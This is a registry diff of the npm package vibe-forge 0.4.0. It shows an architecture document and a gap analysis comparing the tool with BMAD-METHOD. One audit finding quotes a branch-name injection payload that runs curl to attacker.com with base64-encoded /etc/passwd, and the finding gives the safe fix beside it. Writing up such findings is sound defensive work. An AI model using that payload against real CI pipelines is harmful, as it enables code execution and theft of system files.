@sugar-crash-studios/vibe-forge 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (201) hide show
  1. package/.claude/commands/clear-attention.md +63 -0
  2. package/.claude/commands/compact-context.md +52 -0
  3. package/.claude/commands/configure-vcs.md +102 -0
  4. package/.claude/commands/forge.md +171 -0
  5. package/.claude/commands/need-help.md +77 -0
  6. package/.claude/commands/update-status.md +64 -0
  7. package/.claude/commands/worker-loop.md +106 -0
  8. package/.claude/hooks/worker-loop.js +198 -0
  9. package/.claude/scripts/setup-worker-loop.sh +45 -0
  10. package/.claude/settings.local.json +46 -0
  11. package/LICENSE +21 -0
  12. package/README.md +238 -0
  13. package/agents/aegis/personality.md +294 -0
  14. package/agents/anvil/personality.md +276 -0
  15. package/agents/architect/personality.md +258 -0
  16. package/agents/crucible/personality.md +360 -0
  17. package/agents/ember/personality.md +291 -0
  18. package/agents/forge-master/capabilities.md +144 -0
  19. package/agents/forge-master/context-template.md +128 -0
  20. package/agents/forge-master/personality.md +138 -0
  21. package/agents/furnace/personality.md +340 -0
  22. package/agents/herald/personality.md +247 -0
  23. package/agents/loki/personality.md +108 -0
  24. package/agents/oracle/personality.md +283 -0
  25. package/agents/pixel/personality.md +113 -0
  26. package/agents/planning-hub/personality.md +320 -0
  27. package/agents/scribe/personality.md +251 -0
  28. package/agents/temper/personality.md +218 -0
  29. package/bin/cli.js +375 -0
  30. package/bin/dashboard/api/agents.js +333 -0
  31. package/bin/dashboard/api/dispatch.js +483 -0
  32. package/bin/dashboard/api/tasks.js +416 -0
  33. package/bin/dashboard/frontend/index.html +13 -0
  34. package/bin/dashboard/frontend/package.json +16 -0
  35. package/bin/dashboard/frontend/src/App.svelte +222 -0
  36. package/bin/dashboard/frontend/src/app.css +1777 -0
  37. package/bin/dashboard/frontend/src/lib/components/AgentCard.svelte +60 -0
  38. package/bin/dashboard/frontend/src/lib/components/AgentsPanel.svelte +57 -0
  39. package/bin/dashboard/frontend/src/lib/components/DispatchModal.svelte +180 -0
  40. package/bin/dashboard/frontend/src/lib/components/Footer.svelte +33 -0
  41. package/bin/dashboard/frontend/src/lib/components/Header.svelte +84 -0
  42. package/bin/dashboard/frontend/src/lib/components/IssueCard.svelte +33 -0
  43. package/bin/dashboard/frontend/src/lib/components/IssuesPanel.svelte +73 -0
  44. package/bin/dashboard/frontend/src/lib/components/KeyboardShortcutsModal.svelte +108 -0
  45. package/bin/dashboard/frontend/src/lib/components/MobileTabs.svelte +52 -0
  46. package/bin/dashboard/frontend/src/lib/components/NotificationCard.svelte +60 -0
  47. package/bin/dashboard/frontend/src/lib/components/NotificationsPanel.svelte +44 -0
  48. package/bin/dashboard/frontend/src/lib/components/TaskCard.svelte +63 -0
  49. package/bin/dashboard/frontend/src/lib/components/TasksPanel.svelte +82 -0
  50. package/bin/dashboard/frontend/src/lib/components/Toast.svelte +45 -0
  51. package/bin/dashboard/frontend/src/lib/stores/agents.js +34 -0
  52. package/bin/dashboard/frontend/src/lib/stores/issues.js +54 -0
  53. package/bin/dashboard/frontend/src/lib/stores/notifications.js +48 -0
  54. package/bin/dashboard/frontend/src/lib/stores/tasks.js +63 -0
  55. package/bin/dashboard/frontend/src/lib/stores/theme.js +33 -0
  56. package/bin/dashboard/frontend/src/lib/stores/toast.js +35 -0
  57. package/bin/dashboard/frontend/src/lib/stores/ui.js +25 -0
  58. package/bin/dashboard/frontend/src/lib/stores/voice.js +275 -0
  59. package/bin/dashboard/frontend/src/lib/stores/websocket.js +295 -0
  60. package/bin/dashboard/frontend/src/lib/utils/api.js +101 -0
  61. package/bin/dashboard/frontend/src/lib/utils/formatters.js +54 -0
  62. package/bin/dashboard/frontend/src/main.js +9 -0
  63. package/bin/dashboard/frontend/svelte.config.js +5 -0
  64. package/bin/dashboard/frontend/vite.config.js +20 -0
  65. package/bin/dashboard/public/assets/index-DnfVj9Ce.css +1 -0
  66. package/bin/dashboard/public/assets/index-Ze5h0kXQ.js +2 -0
  67. package/bin/dashboard/public/index.html +14 -0
  68. package/bin/dashboard/server.js +566 -0
  69. package/bin/forge-daemon.sh +463 -0
  70. package/bin/forge-setup.sh +645 -0
  71. package/bin/forge-spawn.sh +164 -0
  72. package/bin/forge.cmd +83 -0
  73. package/bin/forge.sh +533 -0
  74. package/bin/lib/agents.sh +177 -0
  75. package/bin/lib/colors.sh +44 -0
  76. package/bin/lib/config.sh +347 -0
  77. package/bin/lib/constants.sh +241 -0
  78. package/bin/lib/daemon/display.sh +128 -0
  79. package/bin/lib/daemon/notifications.sh +263 -0
  80. package/bin/lib/daemon/routing.sh +77 -0
  81. package/bin/lib/daemon/state.sh +115 -0
  82. package/bin/lib/daemon/sync.sh +95 -0
  83. package/bin/lib/database.sh +310 -0
  84. package/bin/lib/heimdall-setup.js +113 -0
  85. package/bin/lib/heimdall.js +265 -0
  86. package/bin/lib/json.sh +264 -0
  87. package/bin/lib/terminal.js +451 -0
  88. package/bin/lib/util.sh +126 -0
  89. package/bin/lib/vcs.js +349 -0
  90. package/config/agent-manifest.yaml +203 -0
  91. package/config/agents.json +168 -0
  92. package/config/task-template.md +159 -0
  93. package/config/task-types.yaml +106 -0
  94. package/context/agent-status/aegis.json +7 -0
  95. package/context/agent-status/anvil.json +7 -0
  96. package/context/agent-status/architect.json +7 -0
  97. package/context/agent-status/crucible.json +7 -0
  98. package/context/agent-status/ember.json +7 -0
  99. package/context/agent-status/furnace.json +7 -0
  100. package/context/agent-status/loki.json +7 -0
  101. package/context/agent-status/oracle.json +7 -0
  102. package/context/agent-status/pixel.json +7 -0
  103. package/context/agent-status/planning-hub.json +7 -0
  104. package/context/agent-status/scribe.json +7 -0
  105. package/context/agent-status/temper.json +7 -0
  106. package/context/feature-brainstorm.md +426 -0
  107. package/context/forge-state.yaml +19 -0
  108. package/context/modern-conventions.md +129 -0
  109. package/context/project-context-template.md +122 -0
  110. package/context/project-context.md +122 -0
  111. package/docs/TODO.md +150 -0
  112. package/docs/agents.md +409 -0
  113. package/docs/architecture/decisions/ADR-001-daemon-modularization.md +122 -0
  114. package/docs/architecture/vibe-lab-integration.md +684 -0
  115. package/docs/architecture.md +194 -0
  116. package/docs/bmad-gap-analysis-2026-03-31.md +444 -0
  117. package/docs/cleanup-workflow.md +329 -0
  118. package/docs/commands.md +451 -0
  119. package/docs/dashboard-mockup.html +989 -0
  120. package/docs/getting-started.md +261 -0
  121. package/docs/integration/forge-ownership-policy.md +112 -0
  122. package/docs/npm-publishing.md +132 -0
  123. package/docs/roadmap-2026.md +519 -0
  124. package/docs/security.md +144 -0
  125. package/docs/wireframes/dashboard-mvp.md +1164 -0
  126. package/docs/workflows/README.md +32 -0
  127. package/docs/workflows/azure-devops.md +108 -0
  128. package/docs/workflows/bitbucket.md +104 -0
  129. package/docs/workflows/git-only.md +130 -0
  130. package/docs/workflows/gitea.md +168 -0
  131. package/docs/workflows/github.md +103 -0
  132. package/docs/workflows/gitlab.md +105 -0
  133. package/docs/workflows.md +454 -0
  134. package/package.json +73 -0
  135. package/tasks/completed/ARCH-001-duplicate-agent-config.md +121 -0
  136. package/tasks/completed/ARCH-002-mixed-bash-node-implementation.md +88 -0
  137. package/tasks/completed/ARCH-003-worker-loop-hook-duplication.md +77 -0
  138. package/tasks/completed/ARCH-009-test-organization.md +78 -0
  139. package/tasks/completed/ARCH-011-jq-vs-nodejs-json.md +94 -0
  140. package/tasks/completed/ARCH-012-tmp-files-in-root.md +71 -0
  141. package/tasks/completed/ARCH-013-exit-code-constants.md +65 -0
  142. package/tasks/completed/ARCH-014-sed-incompatibility.md +96 -0
  143. package/tasks/completed/ARCH-015-docs-todo-tracking.md +83 -0
  144. package/tasks/completed/BUG-dash-001-tasks-filter-error.md +31 -0
  145. package/tasks/completed/BUG-dash-002-agents-unknown.md +41 -0
  146. package/tasks/completed/CLEAN-001.md +38 -0
  147. package/tasks/completed/CLEAN-002.md +43 -0
  148. package/tasks/completed/CLEAN-003.md +47 -0
  149. package/tasks/completed/CLEAN-004.md +56 -0
  150. package/tasks/completed/CLEAN-005.md +75 -0
  151. package/tasks/completed/CLEAN-006.md +47 -0
  152. package/tasks/completed/CLEAN-007.md +34 -0
  153. package/tasks/completed/CLEAN-008.md +49 -0
  154. package/tasks/completed/CLEAN-012.md +58 -0
  155. package/tasks/completed/CLEAN-013.md +45 -0
  156. package/tasks/completed/FEATURE-001a-dashboard-wireframes.md +162 -0
  157. package/tasks/completed/IMPL-007a-daemon-notifications-module.md +82 -0
  158. package/tasks/completed/IMPL-007b-daemon-sync-module.md +71 -0
  159. package/tasks/completed/IMPL-007c-daemon-state-module.md +80 -0
  160. package/tasks/completed/IMPL-007d-daemon-routing-module.md +77 -0
  161. package/tasks/completed/IMPL-007e-daemon-display-module.md +77 -0
  162. package/tasks/completed/IMPL-007f-daemon-integration.md +124 -0
  163. package/tasks/completed/PLAT-1-heimdall.md +420 -0
  164. package/tasks/completed/SEC-001-sql-injection-fix.md +58 -0
  165. package/tasks/completed/SEC-002-notification-injection-fix.md +45 -0
  166. package/tasks/completed/SEC-003-eval-injection-fix.md +54 -0
  167. package/tasks/completed/SEC-004-pid-race-condition-fix.md +49 -0
  168. package/tasks/completed/SEC-005-worker-loop-path-fix.md +51 -0
  169. package/tasks/completed/SEC-006-eval-agent-names.md +55 -0
  170. package/tasks/completed/SEC-007-spawn-escaping.md +67 -0
  171. package/tasks/completed/TASK-DASH-001-server-infrastructure.md +185 -0
  172. package/tasks/completed/TASK-anvil-001-dashboard-frontend.md +133 -0
  173. package/tasks/completed/review-bmad-aegis.md +89 -0
  174. package/tasks/completed/review-bmad-anvil.md +80 -0
  175. package/tasks/completed/review-bmad-crucible.md +81 -0
  176. package/tasks/completed/review-bmad-ember.md +90 -0
  177. package/tasks/completed/review-bmad-furnace.md +79 -0
  178. package/tasks/completed/review-bmad-pixel.md +82 -0
  179. package/tasks/completed/review-bmad-scribe.md +92 -0
  180. package/tasks/completed/review-bmad-sentinel.md +83 -0
  181. package/tasks/pending/ARCH-004-git-bash-detection-duplication.md +72 -0
  182. package/tasks/pending/ARCH-005-missing-src-directory.md +95 -0
  183. package/tasks/pending/ARCH-006-task-template-location.md +64 -0
  184. package/tasks/pending/ARCH-008-forge-master-vs-hub.md +81 -0
  185. package/tasks/pending/ARCH-010-missing-index-files.md +84 -0
  186. package/tasks/pending/CLEAN-009.md +31 -0
  187. package/tasks/pending/CLEAN-010.md +30 -0
  188. package/tasks/pending/CLEAN-011.md +30 -0
  189. package/tasks/pending/CLEAN-014.md +32 -0
  190. package/tasks/pending/DESIGN-dash-001-layout-review.md +45 -0
  191. package/tasks/pending/FEATURE-001-dashboard-mvp.md +268 -0
  192. package/tasks/review/ARCH-007-daemon-monolith.md +162 -0
  193. package/tasks/review/bmad-review-aegis.md +349 -0
  194. package/tasks/review/bmad-review-anvil.md +259 -0
  195. package/tasks/review/bmad-review-crucible.md +277 -0
  196. package/tasks/review/bmad-review-ember.md +307 -0
  197. package/tasks/review/bmad-review-furnace.md +285 -0
  198. package/tasks/review/bmad-review-pixel.md +329 -0
  199. package/tasks/review/bmad-review-scribe.md +361 -0
  200. package/tasks/review/bmad-review-sentinel.md +242 -0
  201. package/tasks/review/task-001.md +78 -0
@@ -0,0 +1,194 @@
1
+ # Vibe Forge Architecture
2
+
3
+ This document describes the architectural decisions and structure of the Vibe Forge codebase.
4
+
5
+ ## Language Strategy
6
+
7
+ Vibe Forge uses a **hybrid Bash/Node.js architecture** with the following rationale:
8
+
9
+ ### Bash (Primary for Scripts)
10
+
11
+ The core CLI and daemon are implemented in Bash because:
12
+
13
+ 1. **Native shell integration** - Vibe Forge orchestrates terminal sessions and Claude Code processes, which are inherently shell operations
14
+ 2. **Unix philosophy** - Small composable scripts that can be debugged, piped, and modified easily
15
+ 3. **Transparency** - Users can inspect and modify scripts without build steps
16
+ 4. **Git Bash compatibility** - Windows users with Git Bash can run the same scripts
17
+
18
+ Files in Bash:
19
+ - `bin/forge.sh` - Main CLI entry point
20
+ - `bin/forge-setup.sh` - Setup and initialization
21
+ - `bin/forge-spawn.sh` - Terminal spawning orchestration
22
+ - `bin/forge-daemon.sh` - Background daemon for task monitoring
23
+ - `bin/lib/*.sh` - Shared libraries (colors, config, agents, database, json, util)
24
+
25
+ ### Node.js (Cross-Platform Utilities)
26
+
27
+ Node.js is used where cross-platform compatibility or complex logic is needed:
28
+
29
+ 1. **npx installer** - `bin/cli.js` runs via npx before Vibe Forge is installed
30
+ 2. **Terminal detection** - `bin/lib/terminal.js` detects and spawns terminals across Windows/macOS/Linux
31
+ 3. **JSON parsing** - All Bash scripts use Node.js for JSON via `bin/lib/json.sh` wrapper
32
+ 4. **Claude hooks** - `.claude/hooks/worker-loop.js` runs as Claude Code hook
33
+ 5. **Dashboard server** - `bin/dashboard/server.js` provides HTTP + WebSocket for the web UI
34
+
35
+ ### Design Principles
36
+
37
+ 1. **Single Source of Truth** - Configuration in `config/agents.json`, loaded by both languages
38
+ 2. **Node.js for JSON** - All JSON parsing uses `bin/lib/json.sh` which calls Node.js (no jq dependency)
39
+ 3. **Bash for orchestration** - Process management, file watching, terminal control
40
+ 4. **Thin wrappers** - `forge.cmd` on Windows calls Bash via Git Bash
41
+
42
+ ### JSON Handling
43
+
44
+ All JSON operations use the `json.sh` library which provides:
45
+
46
+ ```bash
47
+ # Reading JSON
48
+ value=$(json_read "$file" "key" "default")
49
+
50
+ # Reading multiple keys efficiently
51
+ read -r name status task <<< "$(json_read_multi "$file" name status task)"
52
+
53
+ # Writing JSON
54
+ json_write "$file" "key" "value"
55
+ json_write_bool "$file" "enabled" true
56
+
57
+ # Pretty printing
58
+ json_pretty "$file"
59
+
60
+ # Key existence check
61
+ if json_has_key "$file" "key"; then ...
62
+ ```
63
+
64
+ This eliminates the jq dependency while maintaining security (arguments passed to Node.js, not interpolated).
65
+
66
+ ## Directory Structure
67
+
68
+ ```
69
+ vibe-forge/
70
+ ├── agents/ # Agent personality definitions
71
+ │ ├── anvil/
72
+ │ │ └── personality.md
73
+ │ ├── furnace/
74
+ │ └── ...
75
+ ├── bin/ # Executables
76
+ │ ├── cli.js # npx entry point (Node.js)
77
+ │ ├── forge.sh # Main CLI (Bash)
78
+ │ ├── forge.cmd # Windows wrapper
79
+ │ ├── forge-setup.sh # Setup script
80
+ │ ├── forge-spawn.sh # Terminal spawning
81
+ │ ├── forge-daemon.sh # Background daemon
82
+ │ ├── dashboard/ # Web dashboard (Node.js)
83
+ │ │ ├── server.js # HTTP + WebSocket server
84
+ │ │ ├── api/ # REST API endpoints
85
+ │ │ │ ├── tasks.js # Task CRUD
86
+ │ │ │ ├── agents.js # Agent status
87
+ │ │ │ └── dispatch.js # Task dispatch
88
+ │ │ └── public/ # Frontend assets
89
+ │ │ ├── index.html # Dashboard UI
90
+ │ │ ├── style.css # Styles (dark mode)
91
+ │ │ └── app.js # Frontend logic
92
+ │ └── lib/ # Shared libraries
93
+ │ ├── agents.sh # Agent resolution
94
+ │ ├── colors.sh # Terminal colors
95
+ │ ├── config.sh # Configuration loading
96
+ │ ├── constants.sh # Constants (fallback)
97
+ │ ├── database.sh # SQLite operations
98
+ │ ├── json.sh # JSON utilities (Node.js based)
99
+ │ ├── terminal.js # Terminal detection (Node.js)
100
+ │ └── util.sh # Utility functions
101
+ ├── config/ # Configuration files
102
+ │ ├── agents.json # Agent roster (source of truth)
103
+ │ └── agent-manifest.yaml # Rich documentation (non-normative)
104
+ ├── context/ # Runtime context
105
+ │ ├── agent-status/ # Agent status files
106
+ │ └── forge-state.yaml # Current forge state
107
+ ├── docs/ # Documentation
108
+ ├── tasks/ # Task lifecycle folders
109
+ │ ├── pending/
110
+ │ ├── in-progress/
111
+ │ ├── completed/
112
+ │ └── ...
113
+ └── tests/ # Test suites
114
+ ├── unit/ # Jest unit tests (shell functions tested via child_process)
115
+ └── helpers/ # Test utilities
116
+ ```
117
+
118
+ ## Data Flow
119
+
120
+ ```
121
+ ┌──────────────┐ ┌────────────────┐ ┌──────────────┐
122
+ │ CLI Input │ --> │ forge.sh │ --> │ Command │
123
+ │ (user) │ │ (dispatch) │ │ Handler │
124
+ └──────────────┘ └────────────────┘ └──────────────┘
125
+
126
+ v
127
+ ┌──────────────┐ ┌────────────────┐ ┌──────────────┐
128
+ │ Claude │ <-- │ forge-spawn.sh │ <-- │ Terminal │
129
+ │ Code │ │ + terminal.js │ │ Spawning │
130
+ └──────────────┘ └────────────────┘ └──────────────┘
131
+
132
+ v
133
+ ┌──────────────┐ ┌────────────────┐ ┌──────────────┐
134
+ │ Tasks │ <-> │ forge-daemon │ <-> │ SQLite │
135
+ │ (files) │ │ (monitor) │ │ Database │
136
+ └──────────────┘ └────────────────┘ └──────────────┘
137
+ ^ ^
138
+ │ │
139
+ └─────────────────┬─────────────────────────┘
140
+
141
+ v
142
+ ┌────────────────────┐
143
+ │ Dashboard Server │ <-- Browser (http://localhost:2800)
144
+ │ (port 2800 🔥) │
145
+ │ + WebSocket /ws │
146
+ └────────────────────┘
147
+ ```
148
+
149
+ ### Dashboard Architecture
150
+
151
+ The dashboard is a self-contained Node.js server that provides:
152
+
153
+ 1. **Static file serving** - HTML, CSS, JS from `bin/dashboard/public/`
154
+ 2. **REST API** - Task management, agent status, dispatch at `/api/*`
155
+ 3. **WebSocket** - Real-time updates at `/ws`
156
+ 4. **Issue detection** - Stale docs, failing tests, security issues
157
+
158
+ Port **2800** was chosen as the default because it's the operating temperature of a forge in degrees Fahrenheit. 🔥
159
+
160
+ ## Future Considerations
161
+
162
+ ### Potential Node.js Migration
163
+
164
+ While Option B (hybrid) is the current strategy, a future Node.js migration could provide:
165
+
166
+ 1. **Better Windows support** - Native Node.js without Git Bash dependency
167
+ 2. **Unified codebase** - Single language to maintain
168
+ 3. **Type safety** - TypeScript for larger refactors
169
+ 4. **npm ecosystem** - Libraries for terminal control, process management
170
+
171
+ Migration path if pursued:
172
+ 1. `src/lib/config.ts` - Configuration management
173
+ 2. `src/lib/agents.ts` - Agent resolution
174
+ 3. `src/lib/database.ts` - SQLite operations
175
+ 4. `src/daemon.ts` - Background daemon
176
+ 5. `src/forge.ts` - Main CLI (keeping forge.sh as thin wrapper initially)
177
+
178
+ ### Requirements for Migration
179
+
180
+ Before pursuing full Node.js migration:
181
+ - Ensure all Bash-specific functionality can be replicated
182
+ - Maintain transparency (scripts users can inspect)
183
+ - Keep startup time fast (current scripts are instant)
184
+ - Preserve Unix composability where valuable
185
+
186
+ ## ADR Summary
187
+
188
+ | Decision | Choice | Rationale |
189
+ |----------|--------|-----------|
190
+ | Primary language | Bash | Native shell integration, transparency |
191
+ | JSON parsing | Node.js via json.sh | Security, cross-platform |
192
+ | Terminal detection | Node.js | Cross-platform compatibility |
193
+ | Windows support | Git Bash + forge.cmd | Maintains Unix-like experience |
194
+ | Configuration | JSON (agents.json) | Machine-readable, single source |
@@ -0,0 +1,444 @@
1
+ # Vibe Forge vs BMAD-METHOD: Comprehensive Gap Analysis
2
+
3
+ **Date:** 2026-03-31
4
+ **BMAD Version:** 6.2.2 (43k GitHub stars)
5
+ **Vibe Forge Version:** 0.4.0
6
+ **Sources:** 3 deep-research analysis agents + 6 forge agents (Sentinel, Crucible, Aegis, Furnace, Ember, Pixel)
7
+
8
+ ---
9
+
10
+ ## Executive Summary
11
+
12
+ Vibe Forge and BMAD-METHOD are not competing for the same thing. BMAD is a **full-lifecycle development methodology** covering discovery through delivery. Vibe Forge is an **execution-layer orchestration engine** with persistent workers, automated task routing, and real-time dashboarding. Vibe Forge plugs into roughly Phase 4 of BMAD's workflow and calls it the whole system.
13
+
14
+ That framing clarifies the gaps. Most of them are not "Vibe Forge did this wrong" -- they are "Vibe Forge never attempted this." The question is which gaps matter enough to close.
15
+
16
+ **Where BMAD wins:** Planning pipeline, quality enforcement, per-project customization, token management, and onboarding clarity.
17
+
18
+ **Where Vibe Forge wins:** Infrastructure security, real-time dashboard, automated task routing, Windows support, persistent worker sessions, and agent personality richness.
19
+
20
+ The ideal framework borrows BMAD's upstream planning discipline and quality gates, while keeping Vibe Forge's execution infrastructure and personality depth.
21
+
22
+ ---
23
+
24
+ ## Critical Issues (Fix Immediately)
25
+
26
+ ### CRIT-1: GitHub Actions Script Injection
27
+ **Source:** Aegis (HIGH)
28
+ **Location:** `.github/workflows/ci.yml` lines 17-18, 40-41
29
+
30
+ `${{ github.head_ref }}` is interpolated inline into bash. A branch named `foo"; curl attacker.com/$(cat /etc/passwd|base64) #` executes arbitrary code in CI.
31
+
32
+ **Fix:**
33
+ ```yaml
34
+ # Wrong
35
+ run: |
36
+ BRANCH="${{ github.head_ref }}"
37
+
38
+ # Right
39
+ env:
40
+ BRANCH: ${{ github.head_ref }}
41
+ run: |
42
+ if [[ "$BRANCH" =~ ^(task|feature|bugfix)/ ]]; then
43
+ ```
44
+
45
+ ---
46
+
47
+ ### CRIT-2: `eval` of Node.js-Generated Shell Code
48
+ **Source:** Sentinel (CRITICAL), Aegis (MEDIUM)
49
+ **Location:** `bin/lib/config.sh:142`
50
+
51
+ `load_agents_from_json()` generates shell variable assignments from Node.js and `eval`s them. Agent/alias names are validated against `/^[a-z0-9_-]+$/` but display names and roles go through `escapeForShell()` which is complex and has been changed before. Any bug in the escaping logic, or any compromise of `agents.json`, is RCE on the developer's machine.
52
+
53
+ **Fix direction:** Have Node.js write a static `.sh` file at init time with validated variable assignments. Source that file instead of eval-ing dynamically generated code.
54
+
55
+ ---
56
+
57
+ ### CRIT-3: `design` Alias Collision
58
+ **Source:** Sentinel
59
+ **Location:** `config/agents.json`
60
+
61
+ Both `architect` and `pixel` claim `"design"` as an alias. Node.js processes them in insertion order; `pixel` wins silently. `forge spawn design` spawns the UX Designer instead of the Architect. No warning is emitted.
62
+
63
+ **Fix:** Remove `"design"` from `architect.aliases`. Architect already has `"arch"` and `"sage"`. Pixel already has `"ux"` and `"ui-design"`.
64
+
65
+ ---
66
+
67
+ ### CRIT-4: No Automated Quality Gates
68
+ **Source:** Crucible (CRITICAL)
69
+
70
+ A task can be created, picked up by an agent, self-certified complete with zero tests written, and merged. Nothing in the system prevents this. No pre-commit hooks. No DoD enforcement. No CI test gate on PRs. Quality depends entirely on agents being honest in their self-reporting and Sentinel being assigned.
71
+
72
+ **What BMAD does:** Husky pre-commit hooks, CodeRabbit AI review bot on every PR, formal 20-item DoD checklist that gates story transitions, adversarial review that HALTs on zero findings.
73
+
74
+ **Fix:** See Section 3 (Quality Gates) for the full recommendation set.
75
+
76
+ ---
77
+
78
+ ## High Priority Gaps
79
+
80
+ ### HIGH-1: No Planning / Requirements Phase
81
+ **Source:** Sentinel, Furnace, Pixel
82
+
83
+ Vibe Forge starts at implementation. There is no PRD workflow, no architecture documentation workflow, no implementation readiness check. Tasks can be created with arbitrary backgrounds and dispatched directly to implementation agents. On non-trivial projects, this means building the wrong thing coherently.
84
+
85
+ BMAD's four-phase model:
86
+ 1. **Analysis** - Research, product brief, PRFAQ
87
+ 2. **Planning** - PRD (12-step workflow, 13-pass validation), UX Design spec
88
+ 3. **Solutioning** - Architecture docs, ADRs, Epic/Story decomposition, implementation readiness check
89
+ 4. **Implementation** - Story-by-story execution with architecture grounding
90
+
91
+ **Recommendation:** Add optional planning skills to the Planning Hub. At minimum:
92
+ - A `project-brief` skill that produces `context/project-brief.md`
93
+ - An `architecture` skill (Winston is in constants.sh but has no workflow) that produces `context/architecture.md` with ADRs
94
+ - A readiness check before first implementation task is created
95
+
96
+ These don't need to be as ceremony-heavy as BMAD. But the absence of any upstream validation is the most consequential gap for real projects.
97
+
98
+ ---
99
+
100
+ ### HIGH-2: No Formal Definition of Done
101
+ **Source:** Crucible, Furnace
102
+
103
+ Vibe Forge's task completion is a self-reported YAML block with 5 fields. BMAD's Definition of Done is a 20+ item checklist across 5 categories (Context, Implementation, Testing, Documentation, Final Status) that outputs a `PASS/FAIL` with a score.
104
+
105
+ **Recommendation:** Add a `## Definition of Done` section to `config/task-template.md`:
106
+
107
+ ```markdown
108
+ ## Definition of Done
109
+
110
+ Before marking `ready_for_review: true`, verify:
111
+
112
+ **Implementation**
113
+ - [ ] All acceptance criteria checked
114
+ - [ ] All tasks/subtasks completed
115
+ - [ ] Edge cases handled
116
+
117
+ **Testing**
118
+ - [ ] Unit tests written for new functionality
119
+ - [ ] Existing tests still pass
120
+ - [ ] No linting errors
121
+
122
+ **Documentation**
123
+ - [ ] File list complete in completion summary
124
+ - [ ] Inline comments where logic is non-obvious
125
+
126
+ **Security** (if touching auth, data, APIs)
127
+ - [ ] No hardcoded secrets
128
+ - [ ] Input validation at boundaries
129
+ - [ ] Error paths handled, not swallowed
130
+ ```
131
+
132
+ ---
133
+
134
+ ### HIGH-3: No Epic/Story Hierarchy
135
+ **Source:** Vibe Forge baseline audit
136
+
137
+ The task template references `/specs/epics/{EPIC_ID}.md`. That path does not exist anywhere in the framework. There are no epic templates, no story templates, no sprint-status equivalent. The Planning Hub personality describes decomposing epics into tasks, but there is no tooling support for any of it.
138
+
139
+ BMAD has: `Epic → Story → Task → Subtask` with numbering (`1.1`, `1.2`), state machines (`backlog → ready-for-dev → in-progress → review → done`), a `sprint-status.yaml` that tracks all stories across all epics, and requirements traceability from PRD → Epic → Story.
140
+
141
+ **Recommendation:**
142
+ 1. Create `specs/epics/` directory with an epic template
143
+ 2. Add a `sprint-status.yaml` maintained by the daemon (per-task status, not just counts)
144
+ 3. Adopt AC numbering in the task template: `- [ ] Task 1 (AC: #1, #3)` for review auditability
145
+
146
+ ---
147
+
148
+ ### HIGH-4: No Per-Project Agent Customization
149
+ **Source:** Vibe Forge baseline audit
150
+
151
+ Users cannot customize agent behavior without editing framework personality files directly -- files that get overwritten on `npx vibe-forge update`. There is no equivalent to BMAD's `.customize.yaml`.
152
+
153
+ BMAD's customization model:
154
+ - `_bmad/_config/agents/<agent>.customize.yaml` per agent
155
+ - Six customizable sections: `persona` (replaces), `memories` (appends), `menu` (appends), `critical_actions` (appends), `prompts` (appends), `agent.metadata` (replaces)
156
+ - Changes **survive installer updates** (only base files are overwritten)
157
+
158
+ **Recommendation:** Create `context/agent-overrides/` directory. Each file (`furnace.md`, `sentinel.md`, etc.) is appended to the corresponding agent's context at session start. Document this mechanism clearly. The worker-loop and forge skill should inject these overrides automatically.
159
+
160
+ ---
161
+
162
+ ### HIGH-5: No Token Management Strategy
163
+ **Source:** Sentinel
164
+
165
+ Agents load full personality + full task + accumulated conversation. On long sessions with multiple task iterations, context windows overflow silently. Quality degrades with no diagnostic path. BMAD addresses this with:
166
+ - Distillator skill: 3:1 to 5:1 lossless compression of planning docs
167
+ - Step-file loading: only current workflow step is in context at any time
168
+ - Party Mode: 400-word round summaries to prevent context accumulation
169
+
170
+ **Recommendation:**
171
+ - Document that agents should start fresh sessions for long tasks (add to personality files)
172
+ - Add a `context-summary` skill that compresses prior work into a dense brief
173
+ - For complex Planning Hub workflows, adopt step-file loading pattern
174
+
175
+ ---
176
+
177
+ ### HIGH-6: Planning Hub Identity Crisis
178
+ **Source:** Vibe Forge baseline audit, Sentinel
179
+
180
+ `agents/forge-master/` has 3 files (personality.md, capabilities.md, context-template.md). `agents/planning-hub/` has 1 file (personality.md). `config/agents.json` loads the planning-hub personality. The richer forge-master with its capabilities doc and context template is dead code. The agent-manifest.yaml notes this as ARCH-008 (pending).
181
+
182
+ **Recommendation:** Consolidate into one. Either: (a) move planning-hub content into forge-master and update agents.json, or (b) delete forge-master and move the capabilities/context-template files to planning-hub.
183
+
184
+ ---
185
+
186
+ ### HIGH-7: Dashboard Broken on Core Panels
187
+ **Source:** Vibe Forge baseline audit
188
+
189
+ Two known bugs block the dashboard's primary value:
190
+ - **BUG-dash-001:** `tasks.filter is not a function` - API response shape mismatch
191
+ - **BUG-dash-002:** Agents panel shows "Unknown" for all agents
192
+
193
+ These are tracked but unassigned. The dashboard is built, polished, and broken.
194
+
195
+ **Recommendation:** Fix these before promoting the dashboard as a feature. Per Pixel: "make the dashboard the hero feature." It can't be the hero if the core panels don't render.
196
+
197
+ ---
198
+
199
+ ### HIGH-8: HALT Conditions Not Wired Into Agent Behavior
200
+ **Source:** Sentinel, Furnace
201
+
202
+ The `tasks/attention/` mechanism exists. The `/need-help` skill exists. But agent personalities don't define when to use them. BMAD's dev-story workflow has explicit HALT conditions:
203
+ - New external dependency required
204
+ - 3 consecutive failures on same test
205
+ - Missing/conflicting configuration
206
+ - Ambiguous requirements
207
+
208
+ **Recommendation:** Add a `## When to Stop and Escalate` section to every implementation agent personality:
209
+
210
+ ```
211
+ HALT and write to tasks/attention/ if:
212
+ - Required dependency not in package.json (don't add packages without approval)
213
+ - Schema change needed that affects live data
214
+ - 3 consecutive failures on the same test
215
+ - Acceptance criteria are ambiguous or contradictory
216
+ - Security concern requires Aegis review
217
+ ```
218
+
219
+ ---
220
+
221
+ ### HIGH-9: README References Non-Existent Agents
222
+ **Source:** Pixel (P0 - Critical UX bug)
223
+
224
+ The README references Sage, Oracle, and Quartermaster in the architecture diagram and agent table. These agents do not exist in the current `agents/` directory or `config/agents.json`. A new developer's first impression is a broken mental model.
225
+
226
+ **Fix:** Update README to match current agent roster.
227
+
228
+ ---
229
+
230
+ ### HIGH-10: Architecture Grounding Not Injected Into Tasks
231
+ **Source:** Furnace
232
+
233
+ BMAD's create-story workflow (Bob) reads the PRD, architecture docs, and epics before writing a story. The resulting story contains a "Dev Notes" section with architecture guardrails, relevant file paths, and tech constraints pre-loaded.
234
+
235
+ Vibe Forge tasks have a "Relevant Files" and "Background" section but no enforced architecture-grounding step. Tasks arrive at implementation agents without guaranteed context about the architecture decisions that constrain their work.
236
+
237
